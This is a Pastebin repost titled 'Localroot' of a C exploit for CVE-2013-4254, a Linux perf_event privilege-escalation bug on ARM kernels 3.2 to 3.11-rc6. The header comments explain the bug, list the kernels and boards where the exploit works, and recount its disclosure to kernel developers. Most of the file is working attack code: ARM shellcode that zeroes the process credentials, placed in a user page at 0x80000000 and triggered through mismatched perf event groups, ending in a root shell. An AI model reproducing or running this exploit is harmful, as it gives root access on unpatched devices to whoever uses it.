Sedot_CW

Localroot 3.2 #20 Agustus 2013

Aug 16th, 2020
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 10.29 KB | None | 0 0
  1. /* arm_perf_exploit -- with working shellcode -- CVE-2013-4254 */
  2. /* by Vince Weaver <vincent.weaver _at_ maine.edu */
  3. /* Potential (though hard-to-trigger) priviledge escalation on */
  4. /*   ARM and ARM64 kernels from 3.2 until 3.11-rc6             */
  5. /* This bug found via my perf_fuzzer tool */
  6. /* It is fixed in 3.11-rc6 with c95eb3184ea1a3a25 */
  7. /* Also the fix is in 3.10.8 and 3.4.59           */
  8. /* This was likely introduced with Linux 3.2 with 8a16b34e2119       */
  9. /*    however to exploit you need a very specific code/memory layout */
  10. /*    which so far has only been found on 3.11-rc kernels compiled   */
  11. /*    with gcc 4.8.1                                                 */
  12. /* The right combination might only exist in 3.11-rc kernels */
  13. /* as 62b8563979273424d6ebe9201e34d1acc133ad4f in -rc1 made  */
  14. /* struct pmu equal 0x70 bytes which is what we need         */
  15. /*         r3 offset in     value for   address        address          */
  16. /*         validate_event   easy explt  perf_swevent   perf_tracepoint  */
  17. /* 3.11-rc  0x70        0x70            0x80000000      */
  18. /* 3.9.11   0x6c        0x60    0xffffffff  0x00000000      */
  19. /* 3.5.7    0x74        0x60    0x00000000  0x00000000  */
  20. /*                  perf_cpu_clock  perf_subsys */
  21. /* Compatability Matrix: */
  22. /*    machine      kernel    gcc      exploit works */
  23. /* -------------------------------------------------*/
  24. /*  pandaboard   3.11-rc4   4.8.1          YES      */
  25. /*  beagleboard  3.11-rc5   4.8.1          YES      */
  26. /*  beagleboard  3.9.11     4.8.1          NO       */
  27. /*  beagleboard  3.7.2-x6   4.6.3          NO       */
  28. /*  beagleboard  3.5.7      4.8.1          can't build bootable kernel */
  29.  
  30. /***** All about the bug  ********************************************/
  31. /* on ARM, in arch/arm/kernel/perf_event.c validate_event()          */
  32. /* the code assumes all events are of type arm_pmu, and calls        */
  33. /*    armpmu->get_event_idx(hw_events, event)                        */
  34. /* However, if the group leader is *not* armpmu but another type     */
  35. /* then an address at that offset from that PMU type is called       */
  36. /*    (the offset is usually 0x70)                                   */
  37. /* On Pandaboard/Beagleboard (and maybe other) ARM machines with     */
  38. /*    recent 3.11-rc kernels, if the pmu type of the group leader    */
  39. /*    is "2" (a tracepoint event) then the offset points             */
  40. /*    to perf_reboot_notifier.priority which is initialized to       */
  41. /*    INT_MIN (0x80000000) which is an address that can be mmap()'d  */
  42. /*    by a user program and the kernel will jump to this address.    */
  43.  
  44. /****** The travails of trying to get this fixed upstream *****************/
  45. /* The original oops bug was reported on 6 August 2013                    */
  46. /*    and a small fix was developed, tested, and posted to linux-kernel   */
  47. /* I noticed the exploit possibility, tested the exploit, and reported to */
  48. /*    security@vger.kernel.org on 7 August 2013                           */
  49. /* After a week of complete inaction the ARM developers added the fix to  */
  50. /*    their patch queue.  Feeling burned by recent ARM security issues,   */
  51. /*    they just didn't want to deal with things.  I questioned the slow   */
  52. /*    response and then Ingo Molnar bypassed everything and sent a "fix"  */
  53. /*    straight to Linus Torvalds, which appeared in linus-git.  The       */
  54. /*    problem is he sent the *wrong* fix, for a different oops bug I also */
  55. /*    reported that week.                                                 */
  56. /* The kernel devs don't really seem to care, instead of just merging     */
  57. /*    the patch they are debating locking down the perf_event_open()      */
  58. /*    syscall by default (even though that likely wouldn't have helped    */
  59. /*    in this case).  This discussion is still all happening on a closed  */
  60. /*    mailing list.  I am annoyed, as I do a lot of performance counter   */
  61. /*    work for HPC and others, and having a default locked-down perf_event*/
  62. /*    would be a big step backwards.                                      */
  63. /* The fix c95eb3184ea1a3a25 finally made it into linus-git on 16 August  */
  64. /*    and will likely be in stable by 20 August, meaning it took two      */
  65. /*    weeks for a potentially dangerous security bug to get fixed despite */
  66. /*    the fix being posted within hours of discovery.                     */
  67. /* I sent a note to oss-security on 14 August 2013 and it was assigned    */
  68. /*    CVE-2013-4254 on 16 August 2013                                     */
  69. /* I'm waiting until the fix makes it into Linux 3.11-rc6 and then stable */
  70. /*    before releasing this.                                              */
  71.  
  72. /* Last Updated 20 August 2013 */
  73.  
  74. #include <stdio.h>
  75. #include <unistd.h>
  76. #include <string.h>
  77. #include <sys/mman.h>
  78. #include <sys/syscall.h>
  79. #include <linux/perf_event.h>
  80.  
  81. int fd[2];
  82. struct perf_event_attr pe[2];
  83.  
  84. /* My Poor Attempt at ARM Priviledge Raising Code */
  85. /* We want to set the uid fields in cred_struct all to zero */
  86. /* On ARM you find your way to cred_struct by:
  87.    + first finding struct thread_info (at the bottom of your kernel stack)
  88.      so take the SP and mask off by 8KB (stack size on ARM)  (SP&~8191)
  89.    + Then you need the task_struct, which is thread_info+12
  90.    + Then you need the cred_struct.  Unfortunately this varies depending
  91.      on what features your kernel has compiled in.  You can easily
  92.      find this value by disassembling your kernel and seeing what offset
  93.      the copy_creds() function uses to access this.
  94.      On the pandaboard/3.11-rc4 the offset is 732
  95.       cred_struct=task_struct+732;
  96.    + Finally, the uid fields start at offset 4 in task_struct
  97. */
  98.  
  99. #if 0
  100. /* I compile this then use objdump to get the values to put into SC */
  101. void test_code(void) {
  102.   asm volatile("push {r0,r1}");
  103.   asm volatile("mov  r0,sp");
  104.   asm volatile("mov  r1,#0x2000");
  105.   asm volatile("sub  r1,r1,#1");
  106.   asm volatile("mvn  r1,r1");
  107.   asm volatile("and  r0,r0,r1");
  108.   asm volatile("add  r0,r0,#12");
  109.   asm volatile("ldr  r0,[r0,#732]"); // from copy_creds disasssem
  110.   asm volatile("mov  r1,#0");
  111.   asm volatile("str r1,[r0,#4]");
  112.   asm volatile("str r1,[r0,#8]");
  113.   asm volatile("str r1,[r0,#12]");
  114.   asm volatile("str r1,[r0,#16]");
  115.   asm volatile("str r1,[r0,#20]");
  116.   asm volatile("str r1,[r0,#24]");
  117.   asm volatile("str r1,[r0,#28]");
  118.   asm volatile("str r1,[r0,#32]");
  119.   asm volatile("pop {r0,r1}");
  120.   asm volatile("bx lr");
  121. }
  122. #endif
  123.  
  124. /* My kernel is compiled for arm32.  If you have a thumb2 compiled */
  125. /* kernel your shellcode here would look different.                */
  126. char *SC=
  127.     "\x03\x00\x2d\xe9"  // 00: e92d0003        push    {r0, r1}
  128.     "\x0d\x00\xa0\xe1"  // 04: e1a0000d        mov     r0, sp
  129.     "\x02\x1a\xa0\xe3"  // 08: e3a01a02        mov     r1, #8192       ; 0x2000
  130.     "\x01\x10\x41\xe2"  // 0C: e2411001        sub     r1, r1, #1
  131.     "\x01\x10\xe0\xe1"  // 10: e1e01001        mvn     r1, r1
  132.     "\x01\x00\x00\xe0"  // 14: e0000001        and     r0, r0, r1
  133.     "\x0c\x00\x80\xe2"  // 18: e280000c        add     r0, r0, #12
  134.     "\x00\x00\x90\xe5"  // 1c: e5900000        ldr     r0, [r0]
  135. #if 1
  136.     /* offset from copy_creds on my pandaboard/3.11-rc4 kernel */
  137.     "\xdc\x02\x90\xe5"  // 20: e59002dc        ldr     r0, [r0, #732]  ; 0x2dc
  138. #else
  139.     /* offset on my beagleboard/3.11-rc5 kernel */
  140.     "\xf4\x02\x90\xe5"  // 20: e59002dc        ldr     r0, [r0, #756]  ; 0x2f4
  141. #endif
  142.     "\x00\x10\xa0\xe3"  // 24: e3a01000        mov     r1, #0
  143.     "\x04\x10\x80\xe5"  // 28: e5801004        str     r1, [r0, #4]
  144.     "\x08\x10\x80\xe5"  // 2c: e5801008        str     r1, [r0, #8]
  145.     "\x0c\x10\x80\xe5"  // 30: e580100c        str     r1, [r0, #12]
  146.     "\x10\x10\x80\xe5"  // 34: e5801010        str     r1, [r0, #16]
  147.     "\x14\x10\x80\xe5"  // 38: e5801014        str     r1, [r0, #20]
  148.     "\x18\x10\x80\xe5"  // 3c: e5801018        str     r1, [r0, #24]
  149.     "\x1c\x10\x80\xe5"  // 40: e580101c        str     r1, [r0, #28]
  150.     "\x03\x00\xbd\xe8"  // 44: e8bd0003        pop     {r0, r1}
  151.     "\x1e\xff\x2f\xe1"  // 48: e12fff1e        bx      lr
  152. ;
  153.  
  154. int perf_event_open(struct perf_event_attr *hw_event_uptr,
  155.     pid_t pid, int cpu, int group_fd, unsigned long flags) {
  156.  
  157.     return syscall(__NR_perf_event_open,hw_event_uptr, pid, cpu,
  158.         group_fd, flags);
  159. }
  160.  
  161.  
  162. int main(int argc, char **argv) {
  163.  
  164.     char *our_page;
  165.     char *arg[] = {"/bin/sh", 0};
  166.  
  167.     printf("Before uid: %d\n",getuid());
  168.  
  169.     /* MMAP a page at 0x8000000 */
  170.     /* You might need to change this.  See where the PC is */
  171.     /* in the oops message.                                */
  172.  
  173.     our_page=mmap(0x80000000,4096,PROT_WRITE|PROT_EXEC|PROT_READ,
  174.             MAP_PRIVATE|MAP_ANONYMOUS,
  175.             -1,0);
  176.  
  177.  
  178.     /* Copy the shellcode to our page */
  179.     memcpy(our_page,SC,21*4);
  180.  
  181.     /* Set up a group leader of type 2, which is */
  182.     /* tracepoint.  On my pandaboard running     */
  183.     /* 3.11-rc4 the offset past the tracepoint_pmu */
  184.     /* structure is 0x80000000 a nice userspace  */
  185.     /* address.                                  */
  186.     /* You can also try the breakpoint and software pmu */
  187.     /* types in case they give a better offset          */
  188.  
  189. #if 1
  190.     memset(&pe[0],0,sizeof(struct perf_event_attr));
  191.     pe[0].type=2;
  192.     pe[0].config=72;
  193.     pe[0].size=80;
  194. #else
  195.     /* A software event to try too */
  196.     /* You can also try breakpoint events but breakpoint */
  197.     /* support isn't always working on ARM machines      */
  198.  
  199.     memset(&pe[0],0,sizeof(struct perf_event_attr));
  200.     pe[0].type=PERF_TYPE_SOFTWARE;
  201.     //pe[0].config=PERF_COUNT_SW_PAGE_FAULTS;
  202.     pe[0].config=PERF_COUNT_SW_CPU_CLOCK;   /* uses its own PMU? */
  203.                         /* do I need to test separately? */
  204.        pe[0].size=80;
  205. #endif
  206.  
  207.        fd[0]=perf_event_open(&pe[0],0,0,-1,0 /*0*/ );
  208.  
  209.     /* This is the key to the bug, if the group leader is not hardware */
  210.     /* but the child event is hardware, then the kernel tries to       */
  211.     /* validate both as hardware, thus the bug.                        */
  212.  
  213.     memset(&pe[1],0,sizeof(struct perf_event_attr));
  214.     pe[1].type=PERF_TYPE_RAW;
  215.     pe[1].size=80;
  216.  
  217.     fd[1]=perf_event_open(&pe[1],0,0,fd[0],0 /*0*/ );
  218.  
  219.     /* In theory we jumped to a user address (we assume 0x8000000) */
  220.     /* as the kernel.   The shellcode was run and then we return   */
  221.     /* here...                                                     */
  222.  
  223.     /* Run a shell */
  224.  
  225.     printf("After uid: %d\n",getuid());
  226.     execve("/bin/sh",arg,NULL);
  227.  
  228.     return 0;
  229. }
Add Comment
Please, Sign In to add comment